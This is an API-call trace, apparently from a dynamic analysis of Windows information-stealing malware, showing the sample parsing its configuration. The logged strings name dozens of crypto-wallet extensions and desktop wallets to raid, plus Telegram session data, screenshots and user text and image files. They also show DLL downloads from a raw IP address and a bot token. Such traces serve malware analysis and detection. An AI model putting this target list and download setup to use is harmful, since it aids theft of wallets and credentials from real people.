Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0258.951] lstrcmpiW (lpString1="libs", lpString2="libs") returned 0 [0258.951] StrStrW (lpFirst="freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0258.951] lstrlenW (lpString="freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4947 [0258.951] LocalAlloc (uFlags=0x40, uBytes=0x2726) returned 0x6e73d8 [0258.951] StrCpyW (in: psz1=0x6bbdd8, psz2="freebl3" | out: psz1="freebl3") returned="freebl3" [0258.951] LocalFree (hMem=0x6e73d8) returned 0x0 [0258.951] lstrlenW (lpString="freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4947 [0258.951] LocalAlloc (uFlags=0x40, uBytes=0x2726) returned 0x6e73d8 [0258.951] StrCpyW (in: psz1=0x6be490, psz2="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll" | out: psz1="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll") returned="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll" [0258.952] LocalFree (hMem=0x6e73d8) returned 0x0 [0258.952] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6c56c8 [0258.952] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 35 [0258.952] lstrlenW (lpString="") returned 0 [0258.952] LocalAlloc (uFlags=0x40, uBytes=0x146) returned 0x6b5e98 [0258.952] lstrlenW (lpString="\\") returned 1 [0258.952] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow") returned 35 [0258.952] LocalAlloc (uFlags=0x40, uBytes=0x148) returned 0x6c56c8 [0258.952] lstrlenW (lpString="freebl3") returned 7 [0258.953] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\") returned 36 [0258.953] LocalAlloc (uFlags=0x40, uBytes=0x156) returned 0x6b5e98 [0258.953] lstrlenW (lpString=".dll") returned 4 [0258.953] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\LocalLow\\freebl3") returned 43 [0258.953] LocalAlloc (uFlags=0x40, uBytes=0x15e) returned 0x6c56c8 [0258.953] LocalAlloc (uFlags=0x40, uBytes=0xff78) returned 0x6e73d8 [0258.955] lstrlenW (lpString="Content-Type: text/plain;") returned 25 [0258.955] lstrlenW (lpString="") returned 0 [0258.955] LocalAlloc (uFlags=0x40, uBytes=0x132) returned 0x6e08b0 [0258.955] lstrlenW (lpString="\r\n") returned 2 [0258.955] lstrlenW (lpString="Content-Type: text/plain;") returned 25 [0258.955] LocalAlloc (uFlags=0x40, uBytes=0x136) returned 0x6b5e98 [0258.956] lstrlenW (lpString="\r\n\r\n") returned 4 [0258.956] lstrlenW (lpString="Content-Type: text/plain;\r\n") returned 27 [0258.956] LocalAlloc (uFlags=0x40, uBytes=0x13e) returned 0x6e08b0 [0258.956] LocalAlloc (uFlags=0x40, uBytes=0x208) returned 0x6c5830 [0258.956] StrStrW (lpFirst="http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll", lpSrch="://") returned="://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll" 